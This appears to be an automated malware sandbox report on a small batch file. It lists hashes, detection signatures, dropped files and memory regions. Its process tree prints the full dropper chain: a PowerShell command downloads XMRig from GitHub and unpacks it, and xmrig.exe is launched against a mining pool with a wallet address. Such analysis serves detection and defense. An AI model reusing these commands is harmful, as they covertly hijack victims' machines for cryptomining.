Resubmissions

Analysis

  • max time kernel
    1799s
  • max time network
    1791s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24-01-2024 05:05

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4144
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1140

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    5f7b5f0d94fc4237142296ee9276f9cc

    SHA1

    50d4939a428a354ce8d56fe8062457c204dfa48e

    SHA256

    9ac43f8b6958354f30ad26d1c9b4a3e30b0778e5d47110b0b2d4c75f77a45c38

    SHA512

    9dc912fc8ef89bff730a26b915ff4f108dc398a6b96470df8fa8afca5462cca89d9adf38af29ab47253b23282b975816ae324a4259a8a4b2b833d3ac2a543cc8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vrbjpxs0.sth.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1140-145-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-136-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-184-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-183-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-182-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-148-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-181-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-180-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-179-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-178-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-116-0x000002D682BB0000-0x000002D682BD0000-memory.dmp

    Filesize

    128KB

  • memory/1140-117-0x000002D682BF0000-0x000002D682C30000-memory.dmp

    Filesize

    256KB

  • memory/1140-118-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-119-0x000002D682C30000-0x000002D682C50000-memory.dmp

    Filesize

    128KB

  • memory/1140-120-0x000002D682C50000-0x000002D682C70000-memory.dmp

    Filesize

    128KB

  • memory/1140-121-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-122-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-123-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-124-0x000002D682C30000-0x000002D682C50000-memory.dmp

    Filesize

    128KB

  • memory/1140-125-0x000002D682C50000-0x000002D682C70000-memory.dmp

    Filesize

    128KB

  • memory/1140-126-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-127-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-128-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-129-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-130-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-131-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-132-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-133-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-134-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-135-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-147-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-137-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-138-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-139-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-140-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-141-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-142-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-143-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-144-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-177-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-162-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-176-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-175-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-149-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-150-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-151-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-152-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-153-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-154-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-155-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-156-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-157-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-158-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-159-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-160-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-161-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-146-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-163-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-164-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-165-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-166-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-167-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-168-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-169-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-170-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-171-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-172-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-173-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/1140-174-0x00007FF767300000-0x00007FF767E03000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-62-0x000001DBCF880000-0x000001DBCF890000-memory.dmp

    Filesize

    64KB

  • memory/4144-89-0x000001DBCF9F0000-0x000001DBCF9FA000-memory.dmp

    Filesize

    40KB

  • memory/4144-35-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-36-0x000001DBCF880000-0x000001DBCF890000-memory.dmp

    Filesize

    64KB

  • memory/4144-113-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-76-0x000001DBCFA90000-0x000001DBCFAA2000-memory.dmp

    Filesize

    72KB

  • memory/4144-38-0x000001DBCF880000-0x000001DBCF890000-memory.dmp

    Filesize

    64KB

  • memory/4980-4-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

    Filesize

    9.9MB

  • memory/4980-7-0x0000019A94220000-0x0000019A94230000-memory.dmp

    Filesize

    64KB

  • memory/4980-6-0x0000019A94220000-0x0000019A94230000-memory.dmp

    Filesize

    64KB

  • memory/4980-5-0x0000019AAC480000-0x0000019AAC4A2000-memory.dmp

    Filesize

    136KB

  • memory/4980-10-0x0000019AAC630000-0x0000019AAC6A6000-memory.dmp

    Filesize

    472KB

  • memory/4980-25-0x0000019A94220000-0x0000019A94230000-memory.dmp

    Filesize

    64KB

  • memory/4980-30-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

    Filesize

    9.9MB